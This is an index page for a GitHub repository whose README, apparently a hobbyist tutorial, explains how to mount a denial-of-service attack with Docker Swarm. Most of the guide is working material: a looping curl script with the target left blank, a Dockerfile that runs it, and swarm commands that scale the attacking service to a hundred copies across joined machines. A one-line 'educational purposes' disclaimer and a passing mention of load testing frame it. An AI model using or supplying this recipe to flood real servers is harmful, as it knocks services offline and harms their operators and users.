Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/Aregluss/Docker-Swarm-DDOS
How to create a Denial of Service Attack through Docker Swarm.
https://github.com/Aregluss/Docker-Swarm-DDOS
ddos-attack-tools ddos-attacks docker docker-swarm dockerfile dos guide tutorial
Last synced: about 2 months ago
JSON representation
How to create a Denial of Service Attack through Docker Swarm.
- Host: GitHub
- URL: https://github.com/Aregluss/Docker-Swarm-DDOS
- Owner: Aregluss
- Created: 2017-09-02T07:15:26.000Z (over 7 years ago)
- Default Branch: master
- Last Pushed: 2020-01-04T19:03:38.000Z (almost 5 years ago)
- Last Synced: 2024-08-01T15:30:11.508Z (5 months ago)
- Topics: ddos-attack-tools, ddos-attacks, docker, docker-swarm, dockerfile, dos, guide, tutorial
- Homepage:
- Size: 17.6 KB
- Stars: 41
- Watchers: 3
- Forks: 8
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# Docker-Swarm-DDOS
## How to create a Denial of Service Attack through Docker Swarm.
#### Quick Disclaimer: This information is for educational purposes only and should not be used with malicious intent. Also, the following guide has been tested only for Mac and Ubuntu, minor differences might exist on other OS.This repository will help you to create a DDOS attack on a server. This could be useful if working on a project and trying to test out what will happen if there is some traffic, heavy traffic or a full fleshed DDOS attack.
### List of Tasks
- [ ] Installing Docker
- [ ] Creating the Script
- [ ] Setting up Dockerfile
- [ ] Creating a Custom Docker Image
- [ ] Setting up Docker Swarm
- [ ] Creating and Scaling a Service
- [ ] Aditional Notes and Tips>I'd recommend that before you get started with the individual steps, you first skim the entire guide.
### Installing Docker
If you have this part already simply move on to the next section, otherwise here is a link that to get you started.Please install the proper version for your OS and then return back to this guide. :+1:
https://www.docker.com/community-edition
- [x] Installing Docker
### Creating the Script
Now that we have Docker installed and running let's get started with creating a directory.
It doesn't matter where this directory is, but to keep in simple for now I'll go with this```
$ mkdir $HOME/DockerAttack
$ cd $HOME/DockerAttack
```
Following is done through iTerm or a Terminal.
I personally use vim for this, but anyway would really do.
```
$ vim curlAttack.sh
```
There's not much to the script, in fact, it's a simple looping curl, it looks something like this
```sh
#!/bin/bash
while true
do
#Please use 'man curl' to see what -vk is for, also -X command can be useful too.
curl -vk https:://
#sleep 5
done
exit 0
```
> I'd actually recommend to first write a curl command that works for your server in a terminal, then to copy paste it into the script.At this point, you could test it out by adding execution permission and then running it.
```
$ chmod +x curlAttack.sh
$ ./curlAttack.sh
```- [x] Creating the Script
### Setting up Dockerfile
Without switching to different directory lets create our Dockerfile.>$ vim Dockerfile
```
FROM tutum/curl
ADD curlAttack.sh /usr/local/bin/curlAttack.sh
CMD ["usr/local/bin/curlAttack.sh"]
```
These three lines are basically pulling from a docker image that has the ability to use curl, adding our script to the image that comes from this Dockefile, then automatically running the script when a container is made.- [x] Setting up Dockerfile
### Creating a Custom Docker Image Through Dockerfile
Now that Dockerfile is set up properly, without switching into a different directory run the following command.
```
$ docker build -t :dockerfile .
```
You'll then see that it's pulling from tutum/curl first.Check if it was successful by running
```
$ docker images
```
You should then see both tutum/curl and your own image.
- [x] Creating a Custom Docker Image
### Setting up Docker Swarm
We can start up with docker swarm with the following command.
```
$ docker swarm init
```
If at this point you believe your computer has enough resources to make how many copied you like skip to the next step.
Docker Swarm is also built in a way to distribute the workload between worker nodes. The docker swarm init command gives a join token which could be used on another device that has docker in order to have it join as a worker and share the workload.```
$ docker swarm join --token
```Note that the service creating and scaling commands(below) need to be run on the manager node. (The device where the swarm was initialized).
- [x] Setting up Docker Swarm
### Creating and Scaling a ServiceSo to start off here are useful commands to know, all of these start with: **docker service**
| Command | Description |
| ------------- | ------------- |
| create --name \ --detach=false \:dockerfile | Creates a service from the custom dockerfile image. |
| scale \=\<#> | Used to easily scale the number of copies of the service. |
| rm \ | Ends service with the given name. |
| ls | Lets you see running services and the number of copies that are currently up. |Here's an example that sets up the image, creates a service, scales it then ends it.
```
$ docker build -t :dockerfile . //[Only do this if you made changes to the Dockerfile]
$ docker service create --name --detach=false :dockerfile
$ docker service ls //[Can see 1/1 copy running]
$ docker service scale =100
$ docker service ls //[Doing this multiple times you can see the # of copies increasing]
$ docker service rm
```Also, you if you'll be repeating these often, I'd recommend adding these as aliases for these.
- [x] Creating and Scaling a Service
### Aditional Notes and Tips
#### The following are in no particular order* If you chose to copy paste command from here, double check not to have missing pieces.
* I recommend keeping both your and to lower cases only, sometimes upper case letters and spaces cause issues.
* A creating a service doesn't work out, Cntrl-C doesn't actually stop it. Instead, the service in the background keeps trying to make containers.
- So if you realized you had a mistake in your image and would like to delete and rebuild it, it won't let you as the service constantly tries to make containers with that image.
- To fix most of your problems
- First, use "docker service rm" to delete the service then wait a few seconds for last containers to be stopped.
- Then delete the image with "docker rmi". Fix whatever mistake you had and rebuild the image & the service.
* If you're new to docker I'd recommend reading their API, it's very clear and well written.- [x] Aditional Notes and Tips
### This is the end of the tutorial, hope you found it useful.